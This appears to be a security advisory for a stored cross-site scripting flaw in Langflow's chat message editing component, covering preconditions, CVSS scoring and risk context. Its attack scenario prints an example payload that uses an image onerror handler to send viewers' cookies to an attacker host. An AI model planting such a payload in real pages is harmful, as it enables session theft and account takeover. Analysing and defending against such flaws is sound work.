Langflow CVE-2026-6600

The attacker must be authenticated to the langflow instance with permission to edit at least one chat message (specific edit permission level not detailed in available data). The victim must be an authenticated user in the same langflow workspace or chat session who views the attacker's manipulated message in the UI. The edit-message.tsx React component must render the message content without proper HTML entity encoding or DOM-based XSS prevention. No special configuration or non-default setup is required; the vulnerability exists in the standard frontend rendering pipeline. Exploitation is NOT possible by unauthenticated attackers or against default read-only configurations, but the combination of a Web-accessible UI and multi-user authentication model means any authenticated insider or compromised account becomes a vector.

CVSS 3.5 (low severity) reflects constrained attack surface: network vector but requiring authenticated access (PR:L), user interaction to trigger (UI:R), and low impact (integrity only, no confidentiality or availability loss). However, CVSS does not fully capture real-world risk in this context. The E:P rating (exploit proof-of-concept published) and publicly available exploit code lower the barrier to exploitation. KEV status is not provided, suggesting no confirmed active exploitation by CISA to date, but the published POC and unresponsive vendor increase practical risk within environments where langflow is actively used. The primary risk vector is insider or low-privilege user compromise (e.g., a compromised account or malicious team member) executing XSS against other authenticated users to steal session tokens, API keys, or sensitive data visible in the UI. Organizations relying on langflow in multi-user environments (team deployments) should treat this as moderate priority for patching, as the combination of published exploit, unresponsive vendor, and multi-user targeting potential elevates risk beyond the base CVSS score. MISSING DATA: No vendor patch version is confirmed; no CISA KEV listing; no EPSS score provided to assess baseline exploitation probability.

An authenticated attacker (team member with access to langflow) crafts a chat message containing a malicious script payload (e.g., <img src=x onerror="fetch('https://attacker.com/steal?token='+document.cookie)">) and submits it as a message edit. When another authenticated user views the edited message in the chat interface, the browser executes the embedded script, exfiltrating the viewer's session token or API key to the attacker's server. The attacker then uses the stolen token to impersonate the victim user and access sensitive workflow data or integrations within langflow.